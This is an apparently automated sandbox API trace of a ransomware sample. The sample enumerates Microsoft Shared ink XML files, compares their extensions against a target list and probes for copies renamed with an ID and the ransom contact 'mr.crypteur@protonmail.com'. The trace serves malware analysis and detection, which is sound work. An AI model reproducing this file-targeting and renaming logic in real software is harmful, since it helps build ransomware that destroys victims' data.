[0074.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0074.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0074.566] lstrlenW (lpString=".doc") returned 4 [0074.566] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.567] lstrlenW (lpString=".docx") returned 5 [0074.567] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0074.567] lstrlenW (lpString=".pdf") returned 4 [0074.567] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.567] lstrlenW (lpString=".xls") returned 4 [0074.567] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.567] lstrlenW (lpString=".xlsx") returned 5 [0074.567] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0074.567] lstrlenW (lpString=".ppt") returned 4 [0074.567] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0074.567] lstrlenW (lpString=".zip") returned 4 [0074.567] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.567] lstrlenW (lpString=".rar") returned 4 [0074.568] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.568] lstrlenW (lpString=".bz2") returned 4 [0074.568] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.568] lstrlenW (lpString=".7z") returned 3 [0074.568] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0074.568] lstrlenW (lpString=".dbf") returned 4 [0074.568] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0074.568] lstrlenW (lpString=".1cd") returned 4 [0074.568] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0074.568] lstrlenW (lpString=".jpg") returned 4 [0074.568] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0074.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0074.569] lstrlenW (lpString=".doc") returned 4 [0074.569] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.569] lstrlenW (lpString=".docx") returned 5 [0074.569] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0074.569] lstrlenW (lpString=".pdf") returned 4 [0074.569] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.569] lstrlenW (lpString=".xls") returned 4 [0074.569] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.569] lstrlenW (lpString=".xlsx") returned 5 [0074.569] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0074.569] lstrlenW (lpString=".ppt") returned 4 [0074.569] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0074.570] lstrlenW (lpString=".zip") returned 4 [0074.570] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.570] lstrlenW (lpString=".rar") returned 4 [0074.570] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.570] lstrlenW (lpString=".bz2") returned 4 [0074.570] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.570] lstrlenW (lpString=".7z") returned 3 [0074.570] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0074.570] lstrlenW (lpString=".dbf") returned 4 [0074.570] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0074.571] lstrlenW (lpString=".1cd") returned 4 [0074.571] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0074.571] lstrlenW (lpString=".jpg") returned 4 [0074.571] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.571] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.571] lstrlenW (lpString="oskpred.xml") returned 11 [0074.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0074.573] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=215) returned 1 [0074.574] CloseHandle (hObject=0x1c8) returned 1 [0074.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0074.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0074.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0074.574] lstrlenW (lpString=".doc") returned 4 [0074.575] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.575] lstrlenW (lpString=".docx") returned 5 [0074.575] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0074.575] lstrlenW (lpString=".pdf") returned 4 [0074.575] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.575] lstrlenW (lpString=".xls") returned 4 [0074.575] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.575] lstrlenW (lpString=".xlsx") returned 5 [0074.575] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0074.575] lstrlenW (lpString=".ppt") returned 4 [0074.575] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0074.575] lstrlenW (lpString=".zip") returned 4 [0074.575] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.576] lstrlenW (lpString=".rar") returned 4 [0074.576] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.576] lstrlenW (lpString=".bz2") returned 4 [0074.576] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.576] lstrlenW (lpString=".7z") returned 3 [0074.576] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0074.576] lstrlenW (lpString=".dbf") returned 4 [0074.576] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0074.576] lstrlenW (lpString=".1cd") returned 4 [0074.576] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0074.576] lstrlenW (lpString=".jpg") returned 4 [0074.576] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0074.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0074.577] lstrlenW (lpString=".doc") returned 4 [0074.577] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.577] lstrlenW (lpString=".docx") returned 5 [0074.577] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0074.577] lstrlenW (lpString=".pdf") returned 4 [0074.577] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.577] lstrlenW (lpString=".xls") returned 4 [0074.577] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.577] lstrlenW (lpString=".xlsx") returned 5 [0074.577] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0074.577] lstrlenW (lpString=".ppt") returned 4 [0074.577] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0074.578] lstrlenW (lpString=".zip") returned 4 [0074.578] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.578] lstrlenW (lpString=".rar") returned 4 [0074.578] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.578] lstrlenW (lpString=".bz2") returned 4 [0074.578] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.578] lstrlenW (lpString=".7z") returned 3 [0074.578] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0074.578] lstrlenW (lpString=".dbf") returned 4 [0074.578] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0074.578] lstrlenW (lpString=".1cd") returned 4 [0074.579] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0074.579] lstrlenW (lpString=".jpg") returned 4 [0074.579] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.579] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.579] lstrlenW (lpString="ea-sym.xml") returned 10 [0074.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0074.580] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=749) returned 1 [0074.580] CloseHandle (hObject=0x1c8) returned 1 [0074.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0074.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0074.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0074.581] lstrlenW (lpString=".doc") returned 4 [0074.581] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.581] lstrlenW (lpString=".docx") returned 5 [0074.581] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0074.581] lstrlenW (lpString=".pdf") returned 4 [0074.581] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.581] lstrlenW (lpString=".xls") returned 4 [0074.581] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.581] lstrlenW (lpString=".xlsx") returned 5 [0074.581] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0074.581] lstrlenW (lpString=".ppt") returned 4 [0074.582] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0074.582] lstrlenW (lpString=".zip") returned 4 [0074.582] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.582] lstrlenW (lpString=".rar") returned 4 [0074.582] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.582] lstrlenW (lpString=".bz2") returned 4 [0074.582] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.582] lstrlenW (lpString=".7z") returned 3 [0074.582] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0074.582] lstrlenW (lpString=".dbf") returned 4 [0074.582] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0074.583] lstrlenW (lpString=".1cd") returned 4 [0074.583] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0074.583] lstrlenW (lpString=".jpg") returned 4 [0074.583] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0074.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0074.583] lstrlenW (lpString=".doc") returned 4 [0074.583] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.583] lstrlenW (lpString=".docx") returned 5 [0074.583] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0074.583] lstrlenW (lpString=".pdf") returned 4 [0074.583] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.583] lstrlenW (lpString=".xls") returned 4 [0074.584] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.584] lstrlenW (lpString=".xlsx") returned 5 [0074.584] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0074.584] lstrlenW (lpString=".ppt") returned 4 [0074.584] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0074.584] lstrlenW (lpString=".zip") returned 4 [0074.584] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.584] lstrlenW (lpString=".rar") returned 4 [0074.584] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.584] lstrlenW (lpString=".bz2") returned 4 [0074.584] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.584] lstrlenW (lpString=".7z") returned 3 [0074.584] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0074.584] lstrlenW (lpString=".dbf") returned 4 [0074.585] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0074.585] lstrlenW (lpString=".1cd") returned 4 [0074.585] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0074.585] lstrlenW (lpString=".jpg") returned 4 [0074.585] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.585] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.586] lstrlenW (lpString="ja-jp-sym.xml") returned 13 [0074.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0074.588] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=749) returned 1 [0074.588] CloseHandle (hObject=0x1c8) returned 1 [0074.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0074.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0074.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0074.589] lstrlenW (lpString=".doc") returned 4 [0074.589] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.589] lstrlenW (lpString=".docx") returned 5 [0074.589] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0074.589] lstrlenW (lpString=".pdf") returned 4 [0074.589] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.589] lstrlenW (lpString=".xls") returned 4 [0074.589] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.589] lstrlenW (lpString=".xlsx") returned 5 [0074.589] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0074.590] lstrlenW (lpString=".ppt") returned 4 [0074.590] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0074.590] lstrlenW (lpString=".zip") returned 4 [0074.590] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.590] lstrlenW (lpString=".rar") returned 4 [0074.590] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.590] lstrlenW (lpString=".bz2") returned 4 [0074.590] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.590] lstrlenW (lpString=".7z") returned 3 [0074.590] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0074.591] lstrlenW (lpString=".dbf") returned 4 [0074.591] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0074.591] lstrlenW (lpString=".1cd") returned 4 [0074.591] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0074.591] lstrlenW (lpString=".jpg") returned 4 [0074.591] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0074.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0074.592] lstrlenW (lpString=".doc") returned 4 [0074.592] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.592] lstrlenW (lpString=".docx") returned 5 [0074.592] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0074.592] lstrlenW (lpString=".pdf") returned 4 [0074.592] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.592] lstrlenW (lpString=".xls") returned 4 [0074.592] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.592] lstrlenW (lpString=".xlsx") returned 5 [0074.592] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0074.593] lstrlenW (lpString=".ppt") returned 4 [0074.593] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0074.593] lstrlenW (lpString=".zip") returned 4 [0074.593] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.593] lstrlenW (lpString=".rar") returned 4 [0074.593] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.593] lstrlenW (lpString=".bz2") returned 4 [0074.593] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.593] lstrlenW (lpString=".7z") returned 3 [0074.593] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0074.593] lstrlenW (lpString=".dbf") returned 4 [0074.594] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0074.594] lstrlenW (lpString=".1cd") returned 4 [0074.594] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0074.594] lstrlenW (lpString=".jpg") returned 4 [0074.594] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.594] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.595] lstrlenW (lpString="symbase.xml") returned 11 [0074.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0074.595] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=2764) returned 1 [0074.595] CloseHandle (hObject=0x1c8) returned 1 [0074.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0074.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0074.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0074.596] lstrlenW (lpString=".doc") returned 4 [0074.596] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.596] lstrlenW (lpString=".docx") returned 5 [0074.596] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0074.596] lstrlenW (lpString=".pdf") returned 4 [0074.597] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.597] lstrlenW (lpString=".xls") returned 4 [0074.597] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.597] lstrlenW (lpString=".xlsx") returned 5 [0074.597] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0074.597] lstrlenW (lpString=".ppt") 